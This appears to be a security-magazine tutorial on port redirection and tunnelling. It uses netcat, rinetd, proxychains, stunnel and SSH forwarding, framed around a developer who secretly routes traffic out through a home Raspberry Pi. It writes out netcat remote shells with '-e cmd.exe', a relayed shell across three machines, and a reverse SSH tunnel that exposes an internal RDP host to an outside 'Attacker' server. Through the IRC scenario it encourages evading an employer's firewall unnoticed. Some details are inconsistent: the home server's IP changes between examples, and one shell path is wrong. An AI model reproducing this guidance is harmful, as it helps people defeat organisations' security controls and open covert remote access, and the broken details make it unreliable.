Three-day workshop offers unique opportunity for security startups Jerusalem...
Playing with the Ports Redirection
by Davide Peruzzi
Whether you are performing a penetration test or that your goal is to debug an error in your complicated corporate network or, why not, to bypass control of a very restrictive firewall that does not allows to display web pages categorized as “hacking”, the port redirection is a technique as basic as it is powerful.
What’s better to dominate the redirection of TCP and UDP packets to bypass blocks, controls, restrictions and reach the target without changing any rule of a corporate firewalls?
Let’s start with some basics: the use of Netcat
Every networking game must start with netcat (NC). I suppose you know that it is an utility which reads and writes data across network connections, using TCP or UDP transport. Nothing more, nothing less.
You can find NC version both for Linux and Microsoft OS. There is also a pre-compiled MacOS version, but has some restriction (the program to exec option)
Let’s have the first try: let’s start a listener on TCP port 4444
nc.exe -l -v -p 4444
If you have a look at the network connection of your machine, using the command netstat like in Figure 1, you will find a listening connection on port 4444
Figure 1. Netcat is listening on TCP port 4444
In the second window use NC as a client and connect to local host on port 4444
nc.exe 127.0.0.1 4444 -v
Hit enter and you establish a simple connection with NC, but what is this?
Essentially is a simple chat. If in the window 1 you write something, it will redirect to the window 2 and vice versa.
So NC is a program that allows you to communicate using TCP or UDP protocols and you can use it whether as a client or as a server.
TCP/UDP connections are more useful than a simple chat: you can use NC to test if a remote port is open, to grab information about a service listening on a remote PC (the banner) and to connect to this service; otherwise you can use it to redirect text, request html page, and, last but not least, remotely admin a PC.
Let’s try NC to pass simple text file, this will help to better understand the last example of this article.
At this time I will use Microsoft commands, but you can implement the same thing on Linux or MacOS.
So, let’s try to pass text file starting the following listener and connecting to it:
nc.exe –l –v -p 4444 > file.txt
nc.exe 127.0.0.1 4444
And now let’s transfer a file (note the -w option used to end connection and to unlock the file transferred):
nc.exe –l -p 4444 < myfile.zip
nc.exe -w 1 127.0.0.1 4444 > myfile_ren.zip
Let’s now talk about remote admin. You can use -e option to execute programs, in this case cmd.exe or
So, start a listener in one terminal window:
nc.exe -lvp 4444 -e cmd.exe
…and connect to it using a second command shell as you can see in Figure 2.
Figure 2. Remote shell using NC
You can also set the listener without -e option and use it on the client. The result will be a remote shell of the client on the machine with the listener.
Of course you can put together text/command redirection and command execution:
You have 3 PCs:
• Machine A is Linux, IP 10.0.1.1
• Machine B is Linux, IP is not relevant but it must be routable with A and C
• Machine C is Windows, IP 10.0.1.2
Let’s start 2 listeners in two different windows in Machine A
nc –lvp 3333
nc –lvp 2222
Then you start one listener with -e option on the Windows PC.
nc.exe –lvp 4444 –e cmd.exe
When all listeners are ready let’s put all together running the 3 clients from Machine B in the same shell.
nc 10.0.1.1 3333|nc 10.0.1.2 4444|nc 10.0.1.1 2222
You wait some seconds and … TA-DAAA! In the Machine A you have a remote shell of the Windows system. Note that pipelining in Machine B has as effect that, in Machine A, you write the command in shell 1 and read output in shell 2. (Figure 3)
Figure 3. The pipelining diagram
This sound like a remote shell using a proxy, but later I’ll talk about it better.
A similar pipelining can also be use where the option –e is not supported (MacOS):
nc –lvp 9999 | /bash/bin | nc –lvp 8888
Go on with a new scenario
Put aside for a moment netcat and start to examine a new scenario with a little bit of problems to be solved. Let’s assume you are a developer of a large computer company and your mentor in the field of programming, let’s call him Bill, is on the other side of the globe, but he is permanently connected to an IRC channel or to some other kind of chat. You need him. Bill advises you, helps you and enables you to finish your work quickly and well.
That’s a small detail: IRC is (rightly) blocked by your company and the only way to communicate you are allowed to are e-mails or phone. The phone is definitely excluded and e-mails are not as light as the chat.
You have no other way. You have to circumvent the restrictions your network administrator has put in place.
In addition, if you’re not even administrator of your office PC (we’ll call it PC_DEV), you have very few chances to act, but you know how to take advantage of the port redirection, and this will be your ace.
You have to start with the bases: find a way to communicate with an external server (AKA your home) in a safe and “allowed” method, without disrupting business configurations or requiring intervention from IT, that should be justified.
First of all you need to know the public IP of your house, to be able to connect.
Let’s assume you have a fixed public IP (220.127.116.11).
Now you have to activate a server within your home network that will play the role of proxy.
For those who do not know, the proxy is a generic term referring to a program that mediates communication between a client and a server, directing requests and responses; doing this can execute certain other tasks, including traffic control, logging data, redirection, caching, anonymizing etc etc
Back to us: with $ 50 you can buy a nice RaspberryPI (Figure 4) or retrieve a scrap PC and install any lightweight Linux distro. Also install all the basic tools for a happy redirection: openssl, rinetd, netcat, socat, proxychains, stunnel, proxytunel. Then plug it into your home network and configure your home firewall / router so that all requests coming to your public IP address on a specific port are NATted to the corresponding port on your RaspberryPI (from now on we will call it RPI).
Figure 4. RPI or other low-budget PC are very usefull to set a small private proxy
Ok, so far you have been working from home to configure and install everything, it is time to implement the remote control of your home server: the best solution is definitely an SSH connection.
You need to find out which outgoing ports are open on the corporate firewall, as you can contact the SSH service on your RPI placed at home.
Let’s suppose another thing: your office firewall has no content inspection. So it does not verify the true nature of packets on a specific port. For example, if you make a connection from your browser using HTTP on port 80 TCP, firewall with content inspection verifies that the traffic is actually HTTP compliant and lets him go, but if you try to push SSH or FTP traffic through port 80 TCP, it will be blocked as not compliant.
Ok, your firewall has no control and you will try to find out which ports you could reach on 18.104.22.168 (NATted then on the RPI with private IP 192.168.0.10). For simplicity we’ll consider only TCP ports.
What can you use to find some firewall allowed ports?
There are online tools like portquiz.positon.org or you can implement a netcat script to find them, but there are a fistful of ports that you can discover also without any tool: if you can browse the Internet, the ports 80 and 443 are open. Other probable ports are those used by mail clients: 25, 110 and their SSL versions 995, 465 or 587; maybe also 22 and 21.
With the necessary let’s suppose that you have discovered some ports allowed. Some of them imagined: 80, 443, 25, and some others witch are a nice discovery: 33333 and 43330 to 43340 … a nice booty!
You decide to use the 443 for our SSH server, then you reach the sshd_config file on your RPI, change the default port and set the desired parameters (e.g. allowing access with password)
Using Openssl you generate the server keys et voilà: your SSH server is ready to go.
Now you can go at office and test the connection.
Using any SSH client (OpenSSH, putty, dropbead or FireSSH for Firefox) you start the connection, insert the password and now you are on your support server at home. The first big step is done: the bridgehead is created.
Great, you have an access to your RPI via SSH.
Of course you could implement the use of SSH keys, it would be safer, but for the moment you do not care about it; you want to speak with your friend on IRC and you have already worked hard; but now the road is downhill.
Let’s overlook, for the moment that SSH can be used directly to proxy all requests and let’s try to implement rinetd, a program able to accept incoming traffic on any port and redirect it towards a different address / port.
How it basically works? Rinetd starts a listener on a specific port that can be configured; all client connections established on this port are redirected to another IP / port that is set on the config file.
So, on RPI, let’s go configure rinetd: it will listen for connections on port 33333 (do you remember that this port was allowed on firewall?) and redirect all packets toward irc.freenode.net on port 6667. (Figure 5)
Figure 5. Rinetd configuration file
To test the connection you will use the simplest thing: telnet as in Figure 6 or netcat. When you’ll see everything working properly you can implement a better solution such as a stand-alone client – let us remember that you are not pc administrator.
Figure 6. Telnet connection to a IRC node using a proxy
WOW, you have successfully implemented a remote administration solution, with SSH, by non-standard ports, through a corporate firewall; you played using port redirection with rinetd and now you have your personal preferred channel with Bill, without upsetting some systems admin with your requests. What about security? Did you open some flaws in the corporate network or your own? Yes, a little bit.
Through IRC various threats can be conveyed and an SSH server must be strongly protected (SSH Keys, IP / time / user restrictions, strong password…), so you always keep in mind that you are working on the edge, be careful not to slip.
Go out from the programmer’s example and his friend Bill, but stay on this network configuration (corporate and home) and let’s see some other application of port redirection.
Playing with SSH
Remember, as said before, that SSH can be used as a proxy. You can use the –D function with plink SSH client, while establishing connection from client, associating a local port to immediately create a SSL tunnel between our machine and the SSH server. Look at this:
c:>plink.exe -l rpiuser -D 7777 22.214.171.124 -P 443
This means: connect to the SSH server (126.96.36.199) on port 443 using user rpiuser and, on the client that starts the SSH connection, open a listener on port 7777. Now you have, a 127.0.0.1:7777 waiting for connections, which is nothing other than one of the entrances of the tunnel. All packets sent to this listener will be redirected to 188.8.131.52, through 443 port of the corporate firewall. In addition such packets will be encrypted. There are several programs that take advantage of tunneling.
If you configure 127.0.0.1:7777 as the proxy of your browser all your searches and explorations of web will passed to the home (192.168.1.111) connection and not to the corporate one. Let’s try this using Firefox.
After the SSH connection is established open the Firefox Preferences and search for Advanced > Network > Settings. Flag the “Manual proxy setting” and “Socks V5”; insert 127.0.0.1 in the Socks Host and 7777 in “port”. Confirm and then try to verify your external IP (http://ifconfig.me), if all is right, your IP will be 184.108.40.206 . Yes, doing this you’ll be able to bypass sites or categories restrictions putted in place by the corporate firewall. You can also use some rapid proxy switching add-on as Elite Proxy Switcher.
The browser has its proxy configuration, but not every program has this implementation. In these case you can associate the tunneling to a proxy program (as proxychains) and then redirect any outgoing program connection: IRC, FTP, e-mail, RDP.
Consider, this time a Linux client in your corporate LAN (call it dev_linux). In this example you are “root” but it is not necessary if you have all essential programs (e.g. proxychains) installed and configured.
On the client start the SSH tunneling as done before and configure
/etc/proxychain.conf adding the following line:
socks5 127.0.0.1 7777
Now open a terminal window and use the command proxychains followed by the application you want to proxy throw 127.0.0.1:7777
root@dev_linux:~# proxychains sbmblient –L 192.168.0.5 –U administrators
This is wonderful! From your corporate PC you can connect through SSH tunneling to an SMB shared folder present on a PC in your home network (192.168.0.5) using administrator (that is the administrator user of the pc with IP 192.168.0.5) and all traffic will be encrypted.
A little more “Proof of Concept” using SSH
Let’s suppose you have 3 PCs
• RPI: SSH server is listening on 443 TCP; public IP is 220.127.116.11.
• PC_DEV: the computer of the developer described at the beginning; behind corporate firewall; private IP 10.0.0.10.
• PC_RDP: a PC with Remote Desktop Server enabled; routable with PC_DEV, but without default gateway, so not routable to internet. This is a simple protection implemented by corporate sysadmin. PC_RDP has private IP 10.0.0.11.
From PC_DEV you are able to do this also without administrator privilege:
c:>plink.exe -l rpiuser -R 5555:10.0.0.11:3389 18.104.22.168 -P 443
This will start an encrypted tunnel between RPI (The Attacker) localhost:5555 and 10.0.0.11:3389. Although the port 3389 is not open on the enterprise firewall, the RDP traffic is not NATted and the PC_RDP (The Non-Routable) does not have a gateway to exit from its subnet, the communication is established correctly, conveyed through PC_DEV (The Compromised) on port 443. (Figure 7)
Figure 7. The SSH tunneling in action
From the RPI will be enough for you to connect to localhost on port 55555 to reach the remote desktop.
rpiuser@raspberrypi ~ $ rdesktop 127.0.0.1:5555
Of course, this only works until the SSH connection that holds the tunnel remains active.
If you better consider this example and you are a system administrator of a large company you must have a gooseflesh. Even with a strong edge firewall policy, if one of your LAN PC is compromised by an hacker, potentially all other PCs in that LAN will be a more simple target using tunneling.
Now, using the same method, let’s see how we can use SSH to do the same port redirection set with rinetd.
c:>plink.exe -l rpiuser -L 4444:irc.freenode.net:6667 22.214.171.124 -P 443
That is: connect to my SSH server on port 443, make a tunnel encapsulating all the local packets (-L) that reach 127.0.0.1:4444 and redirect it to irc.freenode.net:6667.
WOW, but let’s expand the idea, described before, and use SSH tunneling to get a graphical SMB view. Start an SSH tunnel from dev_linux binding the local 445 port (-L 445:) to 192.168.0.5:445 (445 TCP is the SMB common port)
root@dev_linux:~# ssh –L 445:192.168.0.5:445 firstname.lastname@example.org –p 443
Now start a nautilus GUI window and connect to SMB://127.0.0.1. Ta-da you are browsing the shared folders on 192.168.0.5 using a graphical GUI and bypassing corporate firewall restrictions. That sounds good!
Of course encrypt, decrypt, proxy and GUI lead to slowing your work, but this is just a proof of concept.
Some little words on content inspection
What about a firewall with content inspection?
Proxytunnel is another proxy program that encapsulates all the traffic in http and https packets. So you can insert the SSH connections in HTTP-compliant packets and try to bypass content inspection.
Do you need a certificate to connect through a client that does not allow you to use native SSL as telnet? Stunnel generates its certificate. Then the client uses this certificate to connect and to encrypt traffic.
So you can use telnet or NC to connect to POP3S or FTPS.
Stunnel can be also use in “server” mode; look at the following case: you have a ftp server, listening on 21 TCP, that not have an SSL implementation. You can configure the FTP listener to start on a different port (eg 8021), then you generate a certificate and configure stunnel to accept connections from port 21 and redirect it, through the certificate created, to port 8021.
The same thing can also be done for a http server.
Tunneling UDP traffic
An now a last example that I like very much because combine NC and SSH to make a wonderful thing: encapsulation of UDP traffic in a TCP Tunnel.
You have 2 linux PCs: dev_linux and RPI. As you remember dev_linux is a corporate PC and RPI in a PC you use as a proxy at your home.
You already can redirect TCP packets through SSH tunneling, but now you want to make some DNS query (UDP packet port 53) from dev_linux, but using the public IP address of the proxy.
First you have to start a SSH tunnel
root@dev_linux:~# ssh –L 4444:127.0.0.1:4444 email@example.com –p 443
Now every packet sent to your local (dev_linux) 4444 TCP port will be tunneled, through TCP port 443, to the 4444 tcp port of the RPI.
You have to create now a pipelining between TCP and UDP both at the entrance and at the ending of the tunnel. You will use, of course, netcat to complete this task.
So on RPI you run these commands:
root@raspberrypi:~# mkfifo /tmp/fifo
root@raspberrypi:~# nc -l -p 4444 < /tmp/fifo | nc -u 126.96.36.199 53 > /tmp/fifo
… And these on the dev_linux PC.
root@dev_linux:~# mkfifo /tmp/fifo
root@dev_linux:~# nc -l -u -p 53 < /tmp/fifo | nc 127.0.0.1 4444 > /tmp/fifo
Now on the dev_linux you can run your DNS query:
nslookup hakin9.org 127.0.0.1
So what happened?
First of all the FIFO file is a place where processes can exchanging data and you use it to manage the query and the response.
Note also that you must be root to open port under 1024, but let me explain the steps:
• The PC dev_linux runs a query and sends packet to 127.0.0.1 53 UDP
• netcat forwards the packet from UDP 53 to 127.0.0.1 4444 TCP
• The TCP 4444 request is tunneled and reaches the server on port 4444 TCP
• On the server NC gets the request on TCP 4444 and forwards it to a DNS server (in this case the Google DNS server – IP 188.8.131.52) using port 53 UDP
• The response, taking advantage of the FIFO file, takes the way backwards
• On PC dev_linux you reach the “happy end” and can finally read the response of the query
The modularity of all these programs creates a myriad of scenarios and interesting possibilities. Knowing how to redirect TCP traffic through different networks, firewalls, IPS, proxies doing the slalom between blocks of different nature brings great satisfaction and helps to better understand how networks we access everyday work.
All these things said are very exciting, but you always must remember as the saying goes: “Look before you leap“.
About the Author
Davide Peruzzi, OSCP certified, is a system administrator and freelance security consultant with about 10 years of experience in Information Technology. In the last years he focused on vulnerability assessments, penetration testing, InfoSec and NetSec. He can be reached at firstname.lastname@example.org.